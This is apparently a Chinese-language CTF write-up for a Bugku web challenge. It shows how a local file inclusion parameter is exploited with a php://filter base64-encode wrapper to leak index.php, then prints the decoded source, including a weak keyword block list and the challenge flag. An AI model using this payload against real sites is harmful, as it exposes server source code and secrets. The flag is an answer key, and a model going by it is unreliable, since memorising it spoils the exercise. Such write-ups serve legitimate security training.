flag在index里
点击看到这个页面,我们看大url地址有?file=shell.php,我们就想到文件包含漏洞,所以就应该想到?file=index.php这样的形式。
会看到什么都没有,也许认为会错,但是起码我们证明了有这个页面被包含,本地文件包含的函数include有个性质,可以显示源码,当转码失败的时候会报错.
看到这串以==号结尾的base64编码
解释:
php://filter/read=convert.base64-encode/resource=index.php
php://filter=是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取
read=可以设定一个或多个过滤器名称
convert.base64-encode=转换过滤器,将源码显示为base64
用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容
解密出源代码
```<html>
``` <title>Bugku-ctf</title>
``` error_reporting(0); //屏蔽错误
``` if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} //没有get请求会输出一个连接网址
``` $file=$_GET['file']; //赋值
``` if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ //当get请求等于“”内容会提示Oh no
``` echo "Oh no!";
``` exit();
``` }
``` include($file);
```//flag:flag{edulcni_elif_lacol_si_siht}
```?>
```</html>